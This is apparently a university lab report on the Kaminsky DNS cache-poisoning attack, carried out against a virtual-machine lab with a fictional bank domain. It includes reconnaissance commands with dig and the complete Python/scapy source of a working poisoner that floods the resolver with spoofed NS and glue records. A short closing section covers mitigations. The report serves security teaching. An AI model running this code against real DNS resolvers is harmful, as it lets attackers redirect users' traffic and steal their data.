DNS Kaminsky Attack

Andrea Ierinò, 1707302
Francesco Terenzi, 1702217

May 2019

1 Introduction

The Domain Name System (or simply, DNS) is a naming system for computer and other resources connected to Internet. DNS allows to identify a given device in a network translating its human-readable *domain* name into a numerical IP address. To improve performance, most ISP DNS servers adopt a cache system, with which temporarily store previously obtained query results. In 2008 Dan Kaminsky, an American security researcher, discovered a flaw in the DNS protocol that allowed attackers to inject bogus data into recursive servers' cache, causing them to give out that bad information to clients. This form of computer security hacking is commonly known as *DNS cache poisoning*.

2 The Attack

To corrupt a name server it is needed that it recognizes the response packet of a given query as sent by the Authoritative name server rather than by attacker. Then, a fake response must respect some criteria:

1) It arrives on the same UDP port sent it form.
2) The Question section matches the Question in the pending query.
3) The Query ID matches the pending query.
4) The Authority and Additional sections represent names that are within the same domain as the question.

At this point the attacker sends a DNS query to the victim name server for the host name it wishes to hijack and starts to flood the victim with forged DNS reply packets, expecting that the server receives them before the correct one (sent from the real authoritative name server).
The simplest type of attack is the poisoning of a single record. However, if the target host name is already in the cache, it's necessary to wait that the TTL of the record expires. Moreover the attack may be little influential on a large scale.

A more effective result can be achieved inserting inside the forged packets an Authority record to delegate a fake authoritative name server to resolve that given domain. The case study analyzed in this paper concerns precisely this second type of attack, and then, it will be discussed in detail in the following Sections.

2.1 Description of the scenario

In the proposed scenario there are different known entities:

1) the target server, that is a zone for `bankofallan.co.uk`
2) the victim DNS server
3) the attacker machine
4) the authoritative name server for the `badguy.ru` zone.

In the case study, the `badguy.ru` name server is in a network owned by the attacker. This means that the attacker is able to intercept all incoming/outgoing messages to/from the server: every time the victim DNS receives a query question for a `badguy.ru` record, knowing the authoritative for that domain, sends in turn a message to the `badguy.ru` server. The incoming UDP packet, sniffed by the bad guy, reveals essential information that will be used during the attack.

Note that the bad guy is not going to poison a single record, but all the host names under the `bankofallan.co.uk` domain. In other words, the purpose is to hijack authority records such that the attacker can delegate an own authoritative name server, instead of the real one, to answer queries for the `bankofallan.co.uk` zone.

Then, to start, the bad guy needs to locate the actual authoritative server for the `bankofallan.co.uk` and other parameters. The next section focuses on this.

2.2 Q1: Identification of addresses and port numbers

As reported in the *config.json* file of the victim DNS Virtual Machine:

1) victim DNS address:	`192.168.56.101`
2) bad guy DNS address:	`192.168.56.1`
3) bad guy DNS port:	`55553`

However, these parameters are necessary, but no sufficient. The attacker needs to know also the domain name and the address of the authoritative server for the `bankofallan.co.uk` zone: they are mandatory fields to insert in *spoofed* packets i.e. messages used to "deceive" the victim server, simulating that they come from the authoritative server rather than from the attacker's machine.

On *nix environments is possible to perform a DNS lookup using the *dig* tool. In the terminal, type the following command:

```
dig @192.168.56.101 bankofallan.co.uk NS
```

where the field next to the `@` symbol is the victim DNS address and the `NS` parameter specified the type of query required (the default option is the `A` type). In the *answer section* of the output is displayed:

```
ns.bankofallan.co.uk.  3600 IN A 10.0.0.1
```

Exactly what the bad gay is looking for. Then, continuing the previous list:

4) the target NS name: `ns.bankofallan.co.uk`
5) the target NS address: `10.0.0.1`

Now, the next required field is the *source port* used by the victim server to send its DNS packets to the authoritative server. Indeed, once sent a query, the victim server waits for the response, listening exactly on that port. In other words, the source port field in the question packet and the destination port field in the response packet have to match. To achieve this goal, the attacker sends from the local machine a question for the `badguy.ru` domain to the victim DNS and intercepts its traffic. As already mentioned, the authoritative name server for this record is inside the attacker network and then, using a packet analyzer tool (e.g. WireShark) the bad guy intercept the UDP message sent from the DNS.
Once activated the sniffer on the right network interface (`vboxnet0` in the case study), the bad guy types in the terminal:

```
dig @192.168.56.101 badguy.ru
```

Immediately, the victim name server sends to the `badguy.ru` network a question packet. Intercepting and analyzing it, the attacker discovers, obviously, the target port value, but also the QUID inserted by the victim DNS to recognize the answer packet relatively to the question it made.

It is, however, necessary to make some considerations: the source port is, in most cases, a simply random chosen value and it probably changes, for example when the server is restarted. Then, every very time a new attack is made, the value of this port needs to be regained. The same also for the

QUID value, that is modified (e.g. in an incremental/random way) every time the victim DNS asks to another servers to resolve a domain it doesn't know. The point is that these values are not constant over time and then, the bad guy needs to automate, with a program, the way to get these parameters every time he tries the attack.

2.3 Q2: Code explanation

This code was created using the Python programming language (version 2.7) for two simple reasons: the syntax is clear and there is an incredible vastness of libraries available. In detail, the following external libraries have been used in our case study (they can be installed on a *nix machine with the *pip* tool):

- `scapy`: allows to forge or decode packets of a wide number of protocols
- `dnslib`: encode/decode DNS wire format packets
- `threading`: allows thread based parallelism

Moreover, the program requires three command line arguments: `dns_addr, domain, fake_addr` that are respectively the IP address of the victim DNS, the domain to attack and the "malicious" IP address the bad guy wants to insert in the cache.

Then, in the case study, to run the program correctly on a *nix machine:

```
sudo python final.py 192.168.56.101 bankofallan.co.uk 1.2.3.4
```

note that 1.2.3.4 is an example fake address chosen by the authors

In the following subsection the program code is explained. For a clearer view, the different parts of the program have been separated according to their purpose: global variables, auxiliary functions, core functions and the main function.

Global values

A set of frequently used variables in the execution of the program. Some of this values have already been discussed in the previous Sections.

```
FOUND          = False

HOST_ADDR      = "badguy.ru"
DEF_ADDR       = "0.0.0.0"
PREFIX         = "www12345678"

RANGE          = 50
TTL            = 3600
QUID_MAX       = 65536
DNS_HOS_PORT   = 55553
LISTENER_PORT  = 1337
DNS_DEF_PORT   = 53
BUFFER_SIZE    = 4096
```

`FOUND`: Boolean value that switch to true when the secret is found.

`HOST_NAME`: the name of the attacker.

`DEF_ADDR`: the default address used by a socket on a local machine.

`PREFIX`: it is concatenated to a given domain with the purpose to make a fake question, which answer is not contained in the cache of the victim DNS.

`RANGE`: number of spoofed packet sent in a single attack.

`TTL`: the Time To Live value to insert in the spoofed answers i.e. the time in seconds for which that a fake entry is cached in the victim server.

`QUID_MAX`: the maximum value assignable to QUID, plus one: the field has a length of 16 bits, then 2^{16}= 65536 possible different values.

`DNS_HOS_PORT`: the port used by the bad guy authoritative name server.

`LISTENER_PORT`: the port used to listen for the secret. In case of success, at the end of the attack, the victim DNS sends an UDP message to the bad guy.

`DNS_DEF_PORT`: the default port value for the DNS protocol.

`BUFFER_SIZE`: the maximum amount of data to be received at once from a socket.

Auxiliary functions

Now it is described a set of functions used in order to make the code simpler, clearer and more readable.

nameserver_info

```
def nameserver_info(domain, dns_addr):
    sock  = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind((DEF_ADDR, DNS_HOS_PORT))

    query = DNSRecord(q=DNSQuestion(domain,QTYPE.NS))
    sock.sendto(bytes(query.pack()),(dns_addr, DNS_DEF_PORT))
    data, addr = sock.recvfrom(BUFFER_SIZE)

    sock.close()

    ns = str(DNSRecord.parse(data).a.rname)
    ns_addr = str(DNSRecord.parse(data).a.rdata)

    return ns, ns_addr
```

The function requires two parameters: `domain` and `dns_addr`. First, it opens an UDP socket in the local machine on the `DNS_HOS_PORT` and then, ask to the victim DNS to resolve the NS record with the `domain` value. The function returns the name server and the address.

create_question

```
def create_question(domain, dns_addr):
    fake_domain = PREFIX + "." + domain

    ip  = IP(dst=dns_addr)
    udp = UDP(dport=DNS_DEF_PORT)
    dns = DNS(rd=1, qd=DNSQR(qname=fake_domain))

    return bytes(ip / udp / dns)
```

The function creates a fake question to send to the victim DNS, containing a record that cannot be resolved. First, it creates the sub-domain concatenating the `PREFIX` global value with the parameter `domain` and then makes the packet, layer by layer.

create_answers

```
def create_answers(quid, port, domain, au_ns, au_ns_addr, dns_addr,
    fake_addr):
    fake_domain = PREFIX + "." + domain
    packets = []

    start = quid + 1
    end = start + RANGE
    for i in range(start, end):

        ip  = IP(src=au_ns_addr, dst=dns_addr)
        udp = UDP(sport=DNS_DEF_PORT, dport=port)
        dns = DNS(id=i % QUID_MAX, qr=1L,
                qd= DNSQR(qname=fake_domain),
                ns= DNSRR(rrname=domain, type='NS',rdata=au_ns, ttl=TTL)
                    ,
                ar= DNSRR(rrname=au_ns, rdata=fake_addr, ttl=TTL)
        )

        res = (ip / udp / dns)
        packets.append(bytes(res))

    return packets
```

The function creates a set of spoofed answers to send to the victim DNS. The fields of each packet are filled with the values passed to the function. The `quid` value is incremented in each response according to the global `RANGE` value. Note that in the DNS fields there's the real domain name of authoritative server, but a new, fake address.

Core functions

These functions are the focus of the program: they are the ones on which the attack is based.

parser

```
def parser(dns_addr):
    sock  = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind((DEF_ADDR, DNS_HOS_PORT))

    query = DNSRecord(q=DNSQuestion(HOST_ADDR,QTYPE.A))
```

```

    sock.sendto(bytes(query.pack()),(dns_addr, DNS_DEF_PORT))
    data, addr = sock.recvfrom(BUFFER_SIZE)

    sock.close()

    return DNSRecord.parse(data).header.id, addr[1]
```

The function sniffs the query response for the record HOST_ADDR.
It opens an UDP socket on the port DNS_HOS_PORT, sends the query to the victim server (which IP address is the parameter **dns_addr**) and then parse the response, extracting the QUID of the question and the source port used by the victim DNS to send the packet.

listener

```
def listener(port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind((DEF_ADDR, port))

    data, addr = sock.recvfrom(BUFFER_SIZE)

    global FOUND
    FOUND = True

    sock.close()

    secret = str(data)

    print "*** SECRET FOUND"
    print '\n' + secret + '\n'

    with open("secret.txt", 'w') as f:
        f.write("secret:\n%s\n" % secret)
```

The function opens a socket on local machine using as port the value passed to the function and then waits for a response. Once received the secret, the function set the FOUND value to TRUE, prints on the standard output the received value and then writes it in a “secret.txt” file.

poisoner

```
def poisoner(domain, au_ns, au_ns_addr, dns_addr, fake_addr):
```

```
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)

    attempts = 1
    while not FOUND:
        print "*** ATTEMPT", attempts

        quid, port = parser(dns_addr)

        question = create_question(domain, dns_addr)
        answers = create_answers(quid, port, domain, au_ns, au_ns_addr, dns_addr, fake_addr)

        sock.sendto(question, (dns_addr, 0))
        for a in answers:
            sock.sendto(a, (dns_addr, 0))

        attempts += 1

    sock.close()
```

This is the core function. It opens a *raw* socket and then enters in a cycle (until the secret is not received by the `listener` function, i.e. until the global value `FOUND` is set to TRUE) . Inside the *while* section, first the *parser* function is called to get the latest values of QUID and port and then, using the *create_answers* function, gains a set of fake responses and sends them to the victim server, trying to win the "race condition", hoping that one of these spoofed answers is accepted by the DNS before the real authoritative name server sends the right one. For greater comprehensibility, the number of attempts is printed at each iteration. Once the victim is cache-poisoned, the function comes out of the cycle and closes the socket.

Main

```python
if __name__ == "__main__":

    if len(sys.argv) != 4:
        print "usage:", sys.argv[0], "<dns_addr> <domain> <fake_addr>"
        sys.exit(1)

    dns_addr = sys.argv[1]
    domain = sys.argv[2]
    fake_addr = sys.argv[3]

    au_ns, au_ns_addr = nameserver_info(domain, dns_addr)

    listener_t = threading.Thread(target=listener, args=(LISTENER_PORT
        ,))
    listener_t.start()

    poisoner(domain, au_ns, au_ns_addr, dns_addr, fake_addr)

    sys.exit()
```

It is the coordinating function of the attack. First, it checks that the number of passed argument matches with that required (if it does not, an error message is printed and the program closed) then, proceed as follows: calls the function *nameserver_info* to obtain respectively the domain name and the address of the authoritative name server for the passed `domain` value (in the case study, "bankofallan.co.uk"), creates a thread for the *listener* function such that it is possible to listen for the secret without blocking the rest of the program. Finally, the main calls the *poisoner* to enter in the core of the attack.

2.4 Q3: What was the secret returned?

The *secret* received by the listener function is made using a value inserted in the `config.json` file, inside of the victim DNS Virtual Machine.
For example, if the inserted value is:

```
"Secret": "Francesco e Andrea"
```

the program prints the following secret (it's converted in a string object):

YmExNDVmYWFjMWJiNDYxODhiOGNkMTBlMzQ5NDZkMGEwMWFhOGEyYjFmNjQ3OGM2MzU2NDkyOTUy
YjVkMmU3ZQ==

3 Conclusion

To mitigate the attack it is convenient to use a randomized Query ID generator, rather than a sequential one. Another mitigation consists of randomizing also the source port. These two strategies bring the possibility to accept fake response packets in the order of million. And a race condition attack becomes almost impossible.

DNSSEC or IPv6 are another solutions to this fix the cache poisoning, but both have to be fully rolled out to be effective. A "partial" protection against being redirected to malicious websites it is to observe if they are certified (i.e. if they adopts the Secure Sockets Layer protocol). Unfortunately, in many cases, users ignore the warning triggered by browsers about potential dangerous sites.

This document highlights how a vulnerable server can be attacked in an extremely simple way and how this can lead to enormous consequences when applied on a large scale. The Python language allows attackers to create a rather concise but equally effective program, able to adapt to countless hardware features.